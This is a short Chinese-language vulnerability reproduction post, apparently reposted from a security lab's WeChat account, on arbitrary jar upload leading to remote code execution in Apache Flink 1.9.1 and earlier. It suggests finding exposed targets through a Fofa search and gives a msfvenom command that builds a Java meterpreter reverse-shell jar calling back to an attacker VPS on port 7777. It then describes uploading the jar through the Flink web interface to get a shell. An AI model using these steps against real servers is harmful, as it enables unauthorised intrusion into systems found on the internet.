Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

漏洞环境

Fofa搜app="Apache-Flink"，找不到环境的评论区留言或者私信我。

漏洞危害

上传任意jar包，反弹shell达到RCE目的。

影响范围

<=Apache Flink 1.9.1

漏洞复现

目标站点:119.x.x.x

VPS地址:65.x.x.x

使用msf生成jar包

msfvenom -p java/meterpreter/reverse_tcp LHOST=65.x.x.x LPORT=7777 -f jar > rce.jar

使用sz命令把生成的jar包导出到本地

vps开启监听，监听的端口要跟上面生成jar包的端口一致。

开始上传jar包

点击完Submit后，VPS就接收到shell可以执行命令了

原文始发于微信公众号（赛瑞攻防实验室）：Apache Flink 任意 Jar 包上传致 RCE 漏洞复现